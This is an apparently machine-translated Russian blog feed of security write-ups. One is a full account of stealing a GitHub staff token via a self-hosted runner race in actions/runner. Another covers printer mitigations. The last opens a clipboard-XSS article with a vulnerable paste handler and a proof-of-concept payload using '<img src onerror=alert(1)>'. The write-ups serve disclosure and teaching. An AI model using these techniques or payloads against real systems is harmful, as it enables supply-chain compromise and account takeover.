  &lt;/figure&gt;
  &lt;p id=&quot;4rr6&quot;&gt;&lt;a href=&quot;https://twitter.com/fsecurelabs&quot; target=&quot;_blank&quot;&gt;F-Secure Labs&lt;/a&gt; использовала функцию воспроизведения музыки, чтобы представить ее в то время. Это увлекательно. Вы можете зайти &lt;a href=&quot;https://youtu.be/c82uFBdTvII?t=1263&quot; target=&quot;_blank&quot;&gt;сюда&lt;/a&gt; , чтобы посмотреть ситуацию на Pwn2Own.&lt;/p&gt;
  &lt;h3 id=&quot;result&quot;&gt;Результат&lt;/h3&gt;
  &lt;p id=&quot;iIjP&quot;&gt;В Pwn2Own Austin 2021 мы заняли 2-е место после взлома других устройств и принтеров. Мы получили хороший опыт и узнали много нового.&lt;/p&gt;
  &lt;figure id=&quot;h0rG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20231005/29.jpg&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;mitigation&quot;&gt;смягчение последствий&lt;/h2&gt;
  &lt;h3 id=&quot;update&quot;&gt;Обновлять&lt;/h3&gt;
  &lt;p id=&quot;LyL6&quot;&gt;Во-первых, регулярно обновляться. Все упомянутые принтеры были исправлены. Это часто игнорируется. Обычно мы обнаруживаем, что принтеры не обновляются в течение нескольких лет, и даже оставляем пароль по умолчанию непосредственно в корпоративной интрасети.&lt;/p&gt;
  &lt;h3 id=&quot;disable-unused-service&quot;&gt;Отключить неиспользуемый сервис&lt;/h3&gt;
  &lt;p id=&quot;xVBe&quot;&gt;Еще одним способом смягчения последствий является максимально возможное отключение служб, которые не используются. Большинство принтеров по умолчанию включают слишком много служб, которые обычно не используются. Мы даже думаем, что вы можете отключить службу обнаружения, просто откройте службу, которую хотите использовать.&lt;/p&gt;
  &lt;h3 id=&quot;firewall&quot;&gt;Брандмауэр&lt;/h3&gt;
  &lt;p id=&quot;Ztca&quot;&gt;Было бы лучше, если бы вы могли применить брандмауэр. Большинство принтеров предоставляют соответствующие функции.&lt;/p&gt;
  &lt;h2 id=&quot;summary&quot;&gt;Краткое содержание&lt;/h2&gt;
  &lt;p id=&quot;OHi7&quot;&gt;Благодаря выполнению кода на принтерах, помимо печати на ЖК-дисплее, мы можем использовать принтер для кражи конфиденциальной информации, будь то конфиденциальные документы или какие-то учетные данные. Мы также можем использовать принтер для &lt;a href=&quot;https://en.wikipedia.org/wiki/Network_Lateral_Movement&quot; target=&quot;_blank&quot;&gt;бокового перемещения&lt;/a&gt; , поскольку его трудно обнаружить, что делает его отличной мишенью для красной команды.&lt;/p&gt;
  &lt;p id=&quot;96rQ&quot;&gt;Кстати, протоколы серии Discovery Service на многих принтерах зачастую уязвимы. Если вы хотите найти уязвимости в принтерах или других устройствах Интернета вещей, вы можете посмотреть в этом направлении.&lt;/p&gt;
  &lt;h2 id=&quot;to-be-continue&quot;&gt;Продолжение следует&lt;/h2&gt;
  &lt;p id=&quot;AMxG&quot;&gt;Мы также обнаружили несколько уязвимостей в серии принтеров на &lt;a href=&quot;https://www.thezdi.com/blog/2022/8/29/announcing-pwn2own-toronto-2022-and-introducing-the-soho-smashup&quot; target=&quot;_blank&quot;&gt;Pwn2Own Toronto 2022&lt;/a&gt; в прошлом году. Скоро мы опубликуем подробную информацию, так что следите за Частью II.&lt;/p&gt;
  &lt;h2 id=&quot;reference&quot;&gt;Ссылка&lt;/h2&gt;
  &lt;ul id=&quot;tJDy&quot;&gt;
    &lt;li id=&quot;voum&quot;&gt;&lt;a href=&quot;https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf&quot; target=&quot;_blank&quot;&gt;https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;v1rM&quot;&gt;&lt;a href=&quot;https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/&quot; target=&quot;_blank&quot;&gt;https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;ktzR&quot;&gt;&lt;a href=&quot;https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/&quot; target=&quot;_blank&quot;&gt;https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;

</content></entry><entry><id>papioss:Lu1d3K2qEBC</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/Lu1d3K2qEBC?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Кража токена доступа сотрудников GitHub с помощью действий GitHub</title><published>2023-11-01T12:16:05.046Z</published><updated>2023-11-01T12:16:05.046Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/7d/cd/7dcd5604-bee0-409d-b2c4-9ac88de3961e.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://blog.ryotak.net/img/github-actions-pull-request-trigger-en.svg&quot;&gt;GitHub запускает программу вознаграждения за обнаружение ошибок на HackerOne, и в рамках этой программы исследование уязвимостей разрешено «безопасной гаванью» .
В этой статье описывается уязвимость, которую я обнаружил в результате своего расследования в соответствии с критериями безопасной гавани, и она не предназначена для поощрения несанкционированной деятельности по исследованию уязвимостей.
Если вы обнаружите уязвимость на GitHub, сообщите об этом в GitHub Bug Bounty .</summary><content type="html">
  &lt;p id=&quot;c3ns&quot;&gt;GitHub запускает программу вознаграждения за обнаружение ошибок на HackerOne, и в рамках этой программы исследование уязвимостей разрешено «безопасной &lt;a href=&quot;https://docs.github.com/en/site-policy/security-policies/github-bug-bounty-program-legal-safe-harbor&quot; target=&quot;_blank&quot;&gt;гаванью»&lt;/a&gt; .&lt;br /&gt;В этой статье описывается уязвимость, которую я обнаружил в результате своего расследования в соответствии с критериями безопасной гавани, и она не предназначена для поощрения несанкционированной деятельности по исследованию уязвимостей.&lt;br /&gt;Если вы обнаружите уязвимость на GitHub, сообщите об этом в &lt;a href=&quot;https://hackerone.com/github?type=team&quot; target=&quot;_blank&quot;&gt;GitHub Bug Bounty&lt;/a&gt; .&lt;/p&gt;
  &lt;h2 id=&quot;tldr&quot;&gt;ТЛ;ДР&lt;/h2&gt;
  &lt;p id=&quot;mXRL&quot;&gt;В репозитории &lt;a href=&quot;https://github.com/actions/runner&quot; target=&quot;_blank&quot;&gt;action/runner&lt;/a&gt; , в котором размещен исходный код средства запуска GitHub Actions, была обнаружена ошибка в использовании автономного средства запуска, которая позволила мне украсть токен личного доступа из GitHub Actions.&lt;br /&gt;Поскольку этот токен был привязан к учетной записи сотрудника GitHub, я мог выполнять различные действия в качестве сотрудника GitHub.&lt;br /&gt;Это потенциально позволяло вставлять вредоносный код в такие репозитории, как &lt;a href=&quot;https://github.com/actions/checkout&quot; target=&quot;_blank&quot;&gt;action/checkout&lt;/a&gt; и &lt;a href=&quot;https://github.com/actions/cache&quot; target=&quot;_blank&quot;&gt;action/cache&lt;/a&gt; , что могло повлиять на многие репозитории, использующие GitHub Actions.&lt;/p&gt;
  &lt;h2 id=&quot;about-self-hosted-runner&quot;&gt;О самостоятельном раннере&lt;/h2&gt;
  &lt;p id=&quot;gpQA&quot;&gt;Самостоятельный исполнитель, как следует из названия, — это функция, которая позволяет пользователям запускать средства запуска GitHub Actions на своих машинах. В основном он используется в CI, где существуют требования к оборудованию.&lt;br /&gt;Эта функция достигается путем установки средства запуска Actions на компьютер пользователя. И этот исполнитель не изолирует среду для каждого выполнения, поэтому состояние системы распределяется между заданиями, если только пользователь не изолирует среду отдельно. Такое поведение не является проблемой безопасности, если выполняются только доверенные рабочие процессы.&lt;/p&gt;
  &lt;h2 id=&quot;pull_request-trigger&quot;&gt;триггер pull_request&lt;/h2&gt;
  &lt;p id=&quot;IkBb&quot;&gt;Однако в GitHub Actions есть триггер рабочего процесса под названием &lt;code&gt;pull_request&lt;/code&gt;.&lt;br /&gt;Этот триггер выполняется, когда происходит событие, связанное с запросом на включение. При запуске рабочего процесса он считывает файл определения рабочего процесса из разветвленного репозитория &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fn:1&quot; target=&quot;_blank&quot;&gt;1&lt;/a&gt; и запускает рабочий процесс в контексте базового репозитория, в котором был создан запрос на включение, с переданным токеном, доступным только для чтения.&lt;br /&gt;Это означает, что разветвленный репозиторий может выполнять произвольные рабочие процессы в действиях GitHub в общедоступном репозитории. &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fn:2&quot; target=&quot;_blank&quot;&gt;2&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;XHIE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/github-actions-pull-request-trigger-en.svg&quot; width=&quot;781&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;t4nD&quot;&gt;При использовании средства запуска, размещенного на GitHub, среда изолируется для каждого выполнения рабочего процесса, поэтому проблем с таким поведением нет. Однако в случае использования автономного средства выполнения среда не изолируется для каждого выполнения рабочего процесса. Таким образом, вредоносный запрос на извлечение может выполнить произвольный код на локальном средстве запуска и поставить под угрозу среду.&lt;br /&gt;Это позволяет злонамеренному запросу на вытягивание украсть конфиденциальную информацию (например, токен доступа GitHub с доступом на запись) позже, когда скомпрометированный исполнитель получит ее.&lt;/p&gt;
  &lt;p id=&quot;fubJ&quot;&gt;&lt;a href=&quot;https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security&quot; target=&quot;_blank&quot;&gt;Документация GitHub&lt;/a&gt; явно описывает это поведение и утверждает, что автономные средства запуска не следует использовать в общедоступных репозиториях.&lt;/p&gt;
  &lt;h2 id=&quot;vulnerable-workflow&quot;&gt;Уязвимый рабочий процесс&lt;/h2&gt;
  &lt;p id=&quot;PpT3&quot;&gt;Теперь давайте посмотрим на реальный рабочий процесс, который был уязвим для этой атаки.&lt;br /&gt;В &lt;a href=&quot;https://github.com/actions/runner&quot; target=&quot;_blank&quot;&gt;action/runner&lt;/a&gt; существует рабочий процесс для теста E2E под названием &lt;a href=&quot;https://github.com/actions/runner/blob/a9be5f65578a8225c6a024799f572ad2066c4fd8/.github/workflows/e2etest.yml&quot; target=&quot;_blank&quot;&gt;e2etest.yml&lt;/a&gt; . &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fn:3&quot; target=&quot;_blank&quot;&gt;3&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;wEIP&quot;&gt;Этот рабочий процесс выполняет следующие шаги:&lt;/p&gt;
  &lt;ol id=&quot;Rsgn&quot;&gt;
    &lt;li id=&quot;jirN&quot;&gt;Удалите все зарегистрированные локальные исполнители, чтобы очистить завершенный запуск рабочего процесса.&lt;/li&gt;
    &lt;li id=&quot;4kCF&quot;&gt;Создавайте раннеры для разных архитектур и операционных систем (Linux/Windows/macOS).&lt;/li&gt;
    &lt;li id=&quot;dauK&quot;&gt;Запустите сценарий, который асинхронно выполняет следующие процессы:&lt;br /&gt; 1. Получите список автономных исполнителей, зарегистрированных в данный момент в репозитории.&lt;br /&gt; 2. Найдите в списке бегун, который следует использовать для теста E2E, и отправьте на бегун соответствующее тестовое задание для типа ОС.&lt;br /&gt; 3. Если все тесты запущены, выйдите из этого процесса. В противном случае продолжайте процесс.&lt;br /&gt; 4. Спите 10 секунд, чтобы избежать ограничения скорости API.&lt;br /&gt; 5. Вернитесь к шагу 3-1.&lt;/li&gt;
    &lt;li id=&quot;ViLW&quot;&gt;Чтобы запустить автономную среду выполнения, выполните следующие действия для каждой комбинации архитектуры и типа ОС.&lt;br /&gt; 1. Загрузите исполняемый файл, созданный на шаге 2.&lt;br /&gt; 2. Настройте автономный бегун и зарегистрируйте его в репозитории action/runner.&lt;br /&gt; 3. Дождитесь выполнения задания из сценария, запущенного на шаге 3.&lt;br /&gt; 4. Выполните полученное задание.&lt;br /&gt; 5. Удалите автономный бегун из репозитория action/runner.&lt;br /&gt; 6. Загрузите результаты теста.&lt;/li&gt;
    &lt;li id=&quot;3T1m&quot;&gt;После завершения всех тестов проанализируйте загруженные результаты тестов.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;6jNE&quot;&gt;На первый взгляд описанная выше атака кажется невозможной, поскольку самостоятельный бегун удаляется после запуска теста.&lt;br /&gt;Однако в этих шагах есть недостаток: выполнение произвольных команд на локальном средстве выполнения было возможно во время выполнения рабочего процесса.&lt;/p&gt;
  &lt;h2 id=&quot;problem-of-this-workflow&quot;&gt;Проблема этого рабочего процесса&lt;/h2&gt;
  &lt;p id=&quot;8U9F&quot;&gt;Помните, что в приведенных выше шагах сценарий выполняется асинхронно на шаге 3.&lt;br /&gt;Этот сценарий приостанавливает 10 секунд каждый раз после получения списка зарегистрированных самостоятельных участников, чтобы избежать ограничения скорости.&lt;br /&gt;Другими словами, максимальная задержка составляет немногим более 10 секунд с момента регистрации автономного бегуна на шаге 4-2 до выполнения задания для бегуна на шаге 3-2.&lt;/p&gt;
  &lt;p id=&quot;FgXE&quot;&gt;Как &lt;code&gt;About self-hosted runner&lt;/code&gt;поясняется в этом разделе, автономный исполнитель может получать задания, выполняемые по запросу на включение. Отправив вредоносный запрос на включение в течение этих 10 секунд, произвольные команды могут быть выполнены на локальном бегуне, а последующие шаги будут выполняться на скомпрометированном бегуне.&lt;br /&gt;Глядя на последующие шаги, мы видим, что автономный бегун удаляется из репозитория действий/бегуна на шагах 4–5.&lt;br /&gt;Как правило, токен GitHub, передаваемый исполнителю в действиях GitHub, не имеет разрешения на регистрацию/удаление автономного исполнителя, поэтому они использовали токен личного доступа GitHub для регистрации/удаления самостоятельно размещенного исполнителя, как показано ниже.&lt;/p&gt;
  &lt;p id=&quot;tvGr&quot;&gt;&lt;a href=&quot;https://github.com/actions/runner/blob/a9be5f65578a8225c6a024799f572ad2066c4fd8/.github/workflows/e2etest.yml#L165-L178&quot; target=&quot;_blank&quot;&gt;.github/workflows/e2etest.yml строка 165 – строка 178&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;AoIb&quot;&gt;      - name: Configure Runner
        env:
          unique_runner_name: linux-x64-${{needs.init.outputs.unique_runner_label}}
        run: |
          ./config.sh --url ${{github.event.repository.html_url}} --unattended --name $unique_runner_name --pat ${{secrets.PAT}} --labels $unique_runner_name --replace
      - name: Start Runner and Wait for Job
        timeout-minutes: 5
        run: |
          ./run.sh --once
      - name: Remove Runner
        if: always()
        continue-on-error: true
        run: |
          ./config.sh remove --pat ${{secrets.PAT}}
&lt;/pre&gt;
  &lt;p id=&quot;4LRI&quot;&gt;Поскольку задание выполняется на этом &lt;code&gt;Start Runner and Wait for Job&lt;/code&gt;шаге, последующий &lt;code&gt;Remove Runner&lt;/code&gt;шаг будет выполнен на скомпрометированном бегуне.&lt;br /&gt;Это означает, что &lt;code&gt;secrets.PAT&lt;/code&gt;переданные бегуну данные &lt;code&gt;./config.sh remove --pat ${{secrets.PAT}}&lt;/code&gt;могут быть украдены путем отправки вредоносного запроса на включение.&lt;/p&gt;
  &lt;h2 id=&quot;impact&quot;&gt;Влияние&lt;/h2&gt;
  &lt;p id=&quot;IcUg&quot;&gt;И теперь вопрос в том, кому принадлежит &lt;code&gt;secrets.PAT&lt;/code&gt;.&lt;br /&gt;К счастью, этот токен использовался в другом месте для выполнения рабочего процесса, поэтому было легко определить владельца токена.&lt;/p&gt;
  &lt;figure id=&quot;ZDcc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.ryotak.net/img/github-actions-runner-pat-owner.png&quot; width=&quot;1243&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NYhR&quot;&gt;Итак, я затем проверил профиль пользователя и обнаружил, что пользователь принадлежит &lt;a href=&quot;https://github.com/actions&quot; target=&quot;_blank&quot;&gt;@actions&lt;/a&gt; и &lt;a href=&quot;https://github.com/github&quot; target=&quot;_blank&quot;&gt;@github&lt;/a&gt; .&lt;br /&gt;Как упоминалось выше, этот токен используется для нескольких целей, поэтому предполагается, что он имеет как минимум определенную &lt;code&gt;public_repo&lt;/code&gt;область действия.&lt;br /&gt;Следовательно, украв этот токен, можно получить разрешение на запись в публичные репозитории &lt;a href=&quot;https://github.com/actions&quot; target=&quot;_blank&quot;&gt;@actions&lt;/a&gt; и &lt;a href=&quot;https://github.com/github&quot; target=&quot;_blank&quot;&gt;@github&lt;/a&gt; .&lt;br /&gt;Это может привести к серьезной проблеме в цепочке поставок, поскольку &lt;a href=&quot;https://github.com/actions&quot; target=&quot;_blank&quot;&gt;@actions&lt;/a&gt; и &lt;a href=&quot;https://github.com/github&quot; target=&quot;_blank&quot;&gt;@github&lt;/a&gt; владеют множеством репозиториев, включая официальные действия, такие как &lt;a href=&quot;https://github.com/actions/checkout&quot; target=&quot;_blank&quot;&gt;action/checkout&lt;/a&gt; и &lt;a href=&quot;https://github.com/actions/cache&quot; target=&quot;_blank&quot;&gt;action/cache&lt;/a&gt; .&lt;/p&gt;
  &lt;h2 id=&quot;conclusion&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;a5EJ&quot;&gt;В этой статье я объяснил, как неправильная настройка GitHub Actions может привести к серьезному риску в цепочке поставок.&lt;br /&gt;Надеюсь, эта статья помогла вам понять важность безопасности в конвейере CI/CD.&lt;/p&gt;
  &lt;p id=&quot;smSZ&quot;&gt;Если у вас есть вопросы или комментарии, пишите мне в Твиттере ( &lt;a href=&quot;https://twitter.com/ryotkak&quot; target=&quot;_blank&quot;&gt;@ryotkak&lt;/a&gt; ) или Misskey ( &lt;a href=&quot;https://misskey.io/@ryotak&quot; target=&quot;_blank&quot;&gt;@ ryotak@misskey.io&lt;/a&gt; ).&lt;/p&gt;
  &lt;h2 id=&quot;timeline&quot;&gt;График&lt;/h2&gt;
  &lt;p id=&quot;1gUG&quot;&gt;Дата (JST)&lt;/p&gt;
  &lt;p id=&quot;EU0Q&quot;&gt;Событие&lt;/p&gt;
  &lt;p id=&quot;hXbM&quot;&gt;2021/06/19&lt;/p&gt;
  &lt;p id=&quot;8xht&quot;&gt;Обнаружение уязвимостей/отчетность&lt;/p&gt;
  &lt;p id=&quot;G2hm&quot;&gt;2021/06/19&lt;/p&gt;
  &lt;p id=&quot;Dffc&quot;&gt;Временное исправление&lt;/p&gt;
  &lt;p id=&quot;mXQn&quot;&gt;2021/06/22&lt;/p&gt;
  &lt;p id=&quot;Dphu&quot;&gt;Постоянное исправление&lt;/p&gt;
  &lt;p id=&quot;oM0o&quot;&gt;2022/12/18&lt;/p&gt;
  &lt;p id=&quot;YNoy&quot;&gt;Начать писать эту статью&lt;/p&gt;
  &lt;p id=&quot;FC8i&quot;&gt;2023/04/11&lt;/p&gt;
  &lt;p id=&quot;Dg0J&quot;&gt;Получил разрешение на публикацию этой статьи&lt;/p&gt;
  &lt;p id=&quot;oaRA&quot;&gt;2023/04/22&lt;/p&gt;
  &lt;p id=&quot;pFCN&quot;&gt;Опубликовал эту статью&lt;/p&gt;
  &lt;hr /&gt;
  &lt;ol id=&quot;Ghw4&quot;&gt;
    &lt;li id=&quot;fn:1&quot;&gt;Если быть более конкретным, он использует файл определения рабочего процесса во время фиксации слияния запроса на включение. &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fnref:1&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;Точнее, из-за &lt;a href=&quot;https://github.blog/changelog/2021-04-22-github-actions-maintainers-must-approve-first-time-contributor-workflow-runs/&quot; target=&quot;_blank&quot;&gt;этого изменения&lt;/a&gt; рабочий процесс не будет запускаться автоматически, если вы хотя бы один раз не внесли свой вклад в целевой репозиторий. &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fnref:2&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;fn:3&quot;&gt;Я опускаю код, поскольку он содержит более 300 строк, но вы можете увидеть файл рабочего процесса здесь: &lt;a href=&quot;https://github.com/actions/runner/blob/a9be5f65578a8225c6a024799f572ad2066c4fd8/.github/workflows/e2etest.yml&quot; target=&quot;_blank&quot;&gt;https://github.com/actions/runner/blob/a9be5f65578a8225c6a024799f572ad2066c4fd8/.github/workflows/e2etest.yml &lt;/a&gt; &lt;a href=&quot;https://blog.ryotak.net/post/github-actions-staff-access-token-en/#fnref:3&quot; target=&quot;_blank&quot;&gt;↩︎&lt;/a&gt;&lt;/li&gt;
  &lt;/ol&gt;

</content></entry><entry><id>papioss:2xvKeOPJRae</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/2xvKeOPJRae?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Состояние гонки на основе DOM: гонки в браузере ради удовольствия</title><published>2023-11-01T12:13:23.569Z</published><updated>2023-11-01T12:13:23.569Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/8a/a8/8aa85e7a-3ffb-4ed5-b80c-428aa100ad64.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://blog.ryotak.net/img/client-side-race-condition-top-to-bottom-arrow.png&quot;&gt;Со всеми проектами, упомянутыми в этом сообщении блога, связались, и я подтвердил, что поведение, описанное в этой статье, либо работает так, как задумано, либо уже исправлено, либо не будет исправлено.</summary><content type="html">
  &lt;h2 id=&quot;disclaimer&quot;&gt;Отказ от ответственности&lt;/h2&gt;
  &lt;p id=&quot;6Sg3&quot;&gt;Со всеми проектами, упомянутыми в этом сообщении блога, связались, и я подтвердил, что поведение, описанное в этой статье, либо работает так, как задумано, либо уже исправлено, либо не будет исправлено.&lt;/p&gt;
  &lt;h2 id=&quot;tldr&quot;&gt;ТЛ;ДР&lt;/h2&gt;
  &lt;p id=&quot;c1CA&quot;&gt;Браузер загружает элементы HTML сверху вниз, а некоторые библиотеки JavaScript извлекают данные или атрибуты из DOM после полной загрузки страницы.&lt;br /&gt;Из-за того, как &lt;code&gt;contenteditable&lt;/code&gt;работает атрибут, у нас может возникнуть состояние гонки в приложениях, которые используют эти библиотеки JavaScript с элементом &lt;code&gt;contenteditable&lt;/code&gt;, в зависимости от того, как страница загружает библиотеку.&lt;br /&gt;В этой статье я объясню, как это возможно и как увеличить временное окно этой гонки.&lt;/p&gt;
  &lt;h2 id=&quot;the-challenge&quot;&gt;Соревнование&lt;/h2&gt;
  &lt;p id=&quot;Awqg&quot;&gt;6 октября я опубликовал следующий вызов XSS.&lt;/p&gt;
  &lt;blockquote id=&quot;tDxZ&quot;&gt;Я устроил небольшой XSS-челлендж!&lt;br /&gt;&lt;br /&gt;Можете ли вы разместить оповещение на этой странице? (Предполагаемое решение должно быть сложным!)&lt;br /&gt;&lt;br /&gt;Правила включены на страницу задания: &lt;a href=&quot;https://t.co/e4CZByywdT&quot; target=&quot;_blank&quot;&gt;https://t.co/e4CZByywdT &lt;/a&gt;&lt;a href=&quot;https://t.co/Xfdbij0iPC&quot; target=&quot;_blank&quot;&gt;pic.twitter.com/Xfdbij0iPC&lt;/a&gt;– РётаК (@ryotkak) &lt;a href=&quot;https://twitter.com/ryotkak/status/1710291366654181749?ref_src=twsrc%5Etfw&quot; target=&quot;_blank&quot;&gt;6 октября 2023 г.&lt;/a&gt;&lt;/blockquote&gt;
  &lt;p id=&quot;yl24&quot;&gt;Предполагаемое решение этой задачи выглядит следующим образом.&lt;/p&gt;
  &lt;figure id=&quot;6Sfe&quot; class=&quot;m_column&quot;&gt;
    &lt;iframe src=&quot;https://www.youtube.com/embed/yk0NQoh-GxU?autoplay=0&amp;loop=0&amp;mute=0&quot;&gt;&lt;/iframe&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;clipboard-based-xss-aka-copy--paste-xss&quot;&gt;XSS на основе буфера обмена (также известный как «Копировать и вставить XSS»)&lt;/h2&gt;
  &lt;p id=&quot;VMUg&quot;&gt;Чтобы объяснить предполагаемое решение, я должен объяснить XSS на основе буфера обмена.&lt;br /&gt;В 2020 году &lt;a href=&quot;https://twitter.com/SecurityMB&quot; target=&quot;_blank&quot;&gt;Михал Бентковски&lt;/a&gt; опубликовал &lt;a href=&quot;https://research.securitum.com/the-curious-case-of-copy-paste/&quot; target=&quot;_blank&quot;&gt;отличное исследование&lt;/a&gt; XSS, используемого в буфере обмена.&lt;br /&gt;Это исследование сосредоточено на использовании атрибута &lt;code&gt;contenteditable&lt;/code&gt;и &lt;code&gt;paste&lt;/code&gt;обработчиков событий.&lt;/p&gt;
  &lt;p id=&quot;qh4q&quot;&gt;По сути, следующий фрагмент уязвим для XSS на основе буфера обмена:&lt;/p&gt;
  &lt;pre id=&quot;iiNE&quot;&gt;&amp;lt;input placeholder=&amp;quot;Paste here&amp;quot; id=&amp;quot;pasted&amp;quot;/&amp;gt;
&amp;lt;script&amp;gt;
document.addEventListener(&amp;#x27;paste&amp;#x27;, event =&amp;gt; {
    const data = event.clipboardData.getData(&amp;#x27;text/html&amp;#x27;);
    pasted.innerHTML = data;
});
&amp;lt;/script&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;QYIi&quot;&gt;Его можно использовать на следующей странице:&lt;/p&gt;
  &lt;pre id=&quot;5Z6S&quot;&gt;&amp;lt;button onclick=&amp;quot;copy()&amp;quot;&amp;gt;Click&amp;lt;/button&amp;gt;
&amp;lt;script&amp;gt;
    document.addEventListener(&amp;#x27;copy&amp;#x27;, event =&amp;gt; {
        event.preventDefault();
        event.clipboardData.setData(&amp;#x27;text/html&amp;#x27;, &amp;#x27;&amp;lt;img src onerror=alert(1)&amp;gt;&amp;#x27;);
        alert(&amp;#x27;Please paste the copied contents into the vulnerable page&amp;#x27;);
    });
    function copy() {
        document.execCommand(&amp;#x27;copy&amp;#x27;);
    }
&amp;lt;/script&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;dWsz&quot;&gt;Он также сообщил, что следующая страница может быть уязвима для XSS на основе буфера обмена, используя уязвимость в дезинфицирующем средстве браузера:&lt;/p&gt;
  &lt;pre id=&quot;IzsY&quot;&gt;&amp;lt;div contenteditable&amp;gt;&amp;lt;/div&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;yHxI&quot;&gt;Это стало возможным, потому что:&lt;/p&gt;
  &lt;ol id=&quot;v9nG&quot;&gt;
    &lt;li id=&quot;wCgC&quot;&gt;Браузер позволяет &lt;code&gt;text/html&lt;/code&gt;вставлять HTML-код вместо обычного текста. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:1&quot; target=&quot;_blank&quot;&gt;1&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;nv2N&quot;&gt;Чтобы предотвратить XSS, браузер очистил содержимое данных &lt;code&gt;text/html&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;2shJ&quot;&gt;Однако в этом дезинфицирующем средстве были недостатки, позволяющие обойти его и добиться XSS или различных воздействий.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;w0kT&quot;&gt;На момент написания этой статьи не было известных способов обойти это дезинфицирующее средство, и использование &lt;code&gt;contenteditable&lt;/code&gt;одного элемента не приведет к возникновению XSS.&lt;/p&gt;
  &lt;p id=&quot;9iJ1&quot;&gt;Однако при очистке вставленного содержимого Chromium использует подход списка запретов для предотвращения XSS вместо подхода списка разрешений, что означает, что любые атрибуты, которые не вызывают XSS, разрешены, включая пользовательские атрибуты, поддерживаемые библиотекой. &lt;a href=&quot;https://blog.ryotak.net/post/dom-based-race-condition/#fn:2&quot; target=&quot;_blank&quot;&gt;2&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;rHH5&quot;&gt;&lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/dom/element.cc;l=2545-2550;drc=f5bdc89c7395ed24f1b8d196a3bdd6232d5bf771&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;third_party/blink/renderer/core/dom/element.cc&lt;/code&gt;линия 2545-2550&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;Ad3v&quot;&gt;bool Element::IsScriptingAttribute(const Attribute&amp;amp; attribute) const {
  return IsEventHandlerAttribute(attribute) ||
         IsJavaScriptURLAttribute(attribute) ||
         IsHTMLContentAttribute(attribute) ||
         IsSVGAnimationAttributeSettingJavaScriptURL(attribute);
}
&lt;/pre&gt;
  &lt;p id=&quot;kM7i&quot;&gt;Такое поведение можно использовать для использования библиотек, которые предполагают, что содержимое DOM является надежным.&lt;br /&gt;Например, такие проекты, какrails-ujs или Kanboard, можно использовать, вставив &lt;code&gt;data-*&lt;/code&gt;атрибуты в &lt;code&gt;contenteditable&lt;/code&gt;элемент. ( &lt;a href=&quot;https://discuss.rubyonrails.org/t/cve-2023-23913-dom-based-cross-site-scripting-in-rails-ujs-for-contenteditable-html-elements/82468&quot; target=&quot;_blank&quot;&gt;CVE-2023-23913&lt;/a&gt; , &lt;a href=&quot;https://github.com/kanboard/kanboard/security/advisories/GHSA-hjmw-gm82-r4gv&quot; target=&quot;_blank&quot;&gt;CVE-2023-32685&lt;/a&gt; )&lt;/p&gt;
  &lt;h2 id=&quot;ng--attributes&quot;&gt;of-* атрибутов&lt;/h2&gt;
  &lt;p id=&quot;8LD0&quot;&gt;Давайте вернемся к задаче.&lt;br /&gt;На этом этапе вы, возможно, заметили, что AngularJS использует &lt;code&gt;ng-*&lt;/code&gt;атрибуты для управления своим поведением.&lt;/p&gt;
